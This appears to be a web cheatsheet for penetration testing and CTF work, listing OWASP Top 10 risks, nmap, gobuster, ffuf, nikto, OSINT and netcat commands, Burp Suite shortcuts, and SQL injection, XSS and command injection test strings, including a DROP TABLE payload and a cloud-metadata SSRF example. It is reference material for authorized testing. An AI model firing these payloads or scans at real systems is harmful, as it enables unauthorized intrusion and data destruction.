Skip to content

Cheatsheet: Pentesting, Security, Privacy and CTF/Bug Bounty

Quick reference for the most commonly used commands, tools, and concepts. This is a reference sheet — not a substitute for understanding the underlying concepts.

[!IMPORTANT] Use these tools only in authorized environments: CTF platforms, intentionally vulnerable VMs, or systems you have explicit written permission to test.

Table of Contents

OWASP Top 10 Quick Reference

The OWASP Top 10 (2021 edition) — the most critical web application security risks:

# Risk Quick Description Common Example
A01 Broken Access Control Users can act outside intended permissions IDOR: /user/123 → try /user/124
A02 Cryptographic Failures Sensitive data exposed due to weak/missing crypto Passwords stored in MD5; HTTP not HTTPS
A03 Injection Untrusted data sent to an interpreter SQL injection, OS command injection
A04 Insecure Design Security not designed in from the start Missing rate limiting on login
A05 Security Misconfiguration Insecure defaults, unnecessary features enabled Default credentials, verbose error pages
A06 Vulnerable and Outdated Components Using components with known vulnerabilities Log4j (CVE-2021-44228) in production
A07 Identification and Auth Failures Broken authentication, session management Weak passwords, session fixation
A08 Software and Data Integrity Failures Code/data integrity not verified Unsigned updates, insecure deserialization
A09 Security Logging and Monitoring Failures Insufficient logging to detect attacks No alerts on repeated failed logins
A10 Server-Side Request Forgery (SSRF) Server makes requests on attacker's behalf url=http://169.254.169.254/ (AWS metadata)

Recon Tool Commands

All commands are for use in authorized contexts only.

nmap — Network Scanning

# Basic port scan (top 1000 ports)
nmap 10.10.10.100

# Full port scan with service version detection
nmap -sV -p- 10.10.10.100

# OS detection, version detection, scripts, traceroute
nmap -A 10.10.10.100

# Scan specific ports
nmap -p 22,80,443,8080 10.10.10.100

# UDP scan (requires root/sudo)
sudo nmap -sU 10.10.10.100

# Save output to all formats
nmap -oA scan_output 10.10.10.100

# Scan a subnet
nmap 10.10.10.0/24

# Aggressive scan with NSE scripts for common vulns
nmap --script vuln 10.10.10.100

gobuster / ffuf — Directory and File Fuzzing

# Directory fuzzing with gobuster
gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirb/common.txt

# With file extensions
gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirb/common.txt \
  -x php,html,txt,bak

# Virtual host fuzzing (subdomain enumeration)
gobuster vhost -u http://target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# ffuf — faster alternative with more flexibility
ffuf -u http://10.10.10.100/FUZZ -w /usr/share/wordlists/dirb/common.txt

# ffuf parameter fuzzing
ffuf -u "http://10.10.10.100/page?id=FUZZ" -w numbers.txt -fs 0

Nikto — Web Server Scanning

# Basic web server scan
nikto -h http://10.10.10.100

# Scan specific port
nikto -h http://10.10.10.100 -p 8080

# Output to file
nikto -h http://10.10.10.100 -o nikto_output.txt -Format txt

Passive OSINT

# Shodan CLI (requires API key)
shodan search "apache 2.4.49"
shodan host 1.2.3.4

# Google Dorks (in browser or via API)
# Find login pages:   site:example.com inurl:login
# Find exposed files: site:example.com filetype:pdf confidential
# Find subdomains:    site:*.example.com
# Find config files:  site:example.com ext:env OR ext:config

# theHarvester — email and domain harvesting
theHarvester -d example.com -b all

# Sublist3r — subdomain enumeration
sublist3r -d example.com

Netcat — Network Swiss Army Knife

# Listen for connection (set up listener)
nc -lvnp 4444

# Connect to host:port
nc 10.10.10.100 4444

# Simple port scan
nc -zv 10.10.10.100 1-1000

# Transfer file
# Receiver:
nc -lvnp 4444 > received_file
# Sender:
nc 10.10.10.100 4444 < file_to_send

Burp Suite Quick Reference

Feature Where to Find It Common Use
Proxy Intercept Proxy > Intercept Capture and modify HTTP requests
Repeater Send to Repeater (Ctrl+R) Manually re-send and modify requests
Intruder Send to Intruder (Ctrl+I) Automated fuzzing and brute force
Scanner Dashboard > New Scan (Pro only) Automated vulnerability scanning
Decoder Decoder tab Encode/decode Base64, URL, HTML, hex
Comparer Comparer tab Diff two requests or responses
Target > Site Map Target > Site Map Map the application's structure

Key Shortcuts:

Shortcut Action
Ctrl+R Send request to Repeater
Ctrl+I Send request to Intruder
Ctrl+Shift+E Send to Encoder
Ctrl+F Forward intercepted request
Ctrl+Action+F Drop intercepted request

Common Payloads Reference

[!WARNING] These payloads are for educational understanding and use in authorized CTF/lab environments only. Using them against systems without authorization is illegal.

SQL Injection Test Strings

# Basic error-based detection
'
''
`
' OR '1'='1
' OR '1'='1'--
' OR 1=1--
" OR ""="
'; DROP TABLE users--     (never use this — only for illustration of the concept)

# Boolean-based blind detection
' AND 1=1--
' AND 1=2--

# Time-based blind (MySQL)
'; SELECT SLEEP(5)--
' AND SLEEP(5)--

# UNION-based (determine column count first)
' ORDER BY 1--
' ORDER BY 2--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

XSS Test Strings

# Basic reflection test
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)

# Bypass attempts (context-dependent)
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
<ScRiPt>alert(1)</ScRiPt>

Command Injection Test Strings

; id
| id
`id`
$(id)
; whoami
&& whoami

CVSS Score Bands

Score Severity Typical Actions
9.0–10.0 Critical Immediate patch required; emergency response
7.0–8.9 High Patch within days; prioritize in next sprint
4.0–6.9 Medium Patch within weeks; schedule in normal cycle
0.1–3.9 Low Patch when convenient; track in backlog
0.0 None Informational / no security impact

Penetration Test Phases

1. RECONNAISSANCE (Passive and Active)
   └─ OSINT, Shodan, DNS enum, port scanning, service fingerprinting

2. SCANNING AND ENUMERATION
   └─ Identify services, versions, exposed paths, technologies

3. VULNERABILITY ANALYSIS
   └─ Map findings to known CVEs, test for OWASP Top 10

4. EXPLOITATION
   └─ Prove vulnerabilities are exploitable in authorized scope

5. POST-EXPLOITATION
   └─ Determine actual impact: data access, lateral movement potential

6. REPORTING
   └─ Document all findings: CVSS scores, evidence, remediation steps